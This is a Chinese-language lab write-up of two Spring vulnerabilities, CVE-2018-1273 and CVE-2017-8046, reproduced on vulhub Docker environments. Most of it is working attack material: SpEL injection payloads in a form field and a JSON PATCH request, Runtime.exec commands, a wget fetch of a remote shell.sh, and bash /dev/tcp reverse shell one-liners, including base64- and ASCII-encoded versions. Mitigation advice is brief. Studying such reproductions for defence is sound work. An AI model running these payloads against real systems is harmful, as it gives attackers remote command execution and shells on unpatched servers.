Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(SpringExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
1.1 Spring Data Commons 远程命令执行命令(CVE-2018-1273)
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令
漏洞复现
搭建环境命令如下
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
搭建好环境后,我们对其进行访问,在如下页面中,访问目标的/users目录
在users中,我们看到了一个注册页面,随便输入注册信息后,开启抓包然后点击注册
在我们获取到数据包后,先右键将其发送到重放器,然后替换poc如下,这个poc的内容是在tmp目录下写入一个zcc的文件,点击发送
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=
点击发送后显示了500,这是成功了,我们在靶机中利用如下命令进入靶机的bashshell,并查看tmp中是否有zcc文件
docker ps
//查看当前靶机环境id
docker exec -it id bin/bash
//进入
ls /tmp
//查看tmp目录
这里发现成功生成
反弹shell
我们在一个靶机可以远程连接到的服务器上创建一个名为shell.sh的文件,内容为反弹shell的语句如下,然后在该服务器上开启端口监听
bash -i >& /dev/tcp/IP/port 0>&1
在靶机中再次抓包,用下面语句替换exec中的内容后发送,这是为了让靶机可以下载到服务器中的shell.sh文件
/usr/bin/wget -q0 /tmp/shell.sh http://IP:port/shell.sh
发送后到靶机中查看,发现成功下载
然后用命令/bin/bash /tmp/shell.sh执行这个脚本文件,成功反弹shell
漏洞修复
禁止网站访问到外界连接
1.2 spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
漏洞复现
搭建环境命令如下
cd vulhub/spring/CVE-2017-8046/
docker-compose up -d
搭建好环境后我们访问环境的/customers/1目录,进入如下页面
然后开启抓包后再次访问,将抓到的请求包发送到重放器后,替换为如下包,其中的其中的
new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
是经过ascii编码的touch /tmp/success(在tmp目录下生成一个success文件),
PATCH /customers/1 HTTP/1.1
Host: 192.168.156.129:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
替换后点击发送,然后回到靶机中查看tmp目录下的文件,利用命令如下,这里命令成功执行
docker ps
//查看当前靶机环境id
docker exec -it id bin/bash
//进入
ls /tmp
//查看tmp目录
反弹shell
我们先构造一个反弹shell的语句,将其base64编码后再ascii编码
bash -i >& /dev/tcp/监听服务器ip/监听端口 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMzLzQ0NTUgMD4mMQ==
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMzLzQ0NTUgMD4mMQ==}|{base64,-d}|{bash,-i}
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,117,77,84,77,122,76,122,81,48,78,84,85,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
然后用二次编码后的数字替换掉原本添加的pyload中的数字后点击发送
成功反弹到shell
漏洞修复
1.将 Spring Data REST 更新到最新的稳定版本
2.禁用 JSON Patch 支持
3.在 Spring Data REST 中禁用 SpEL 表达式的使用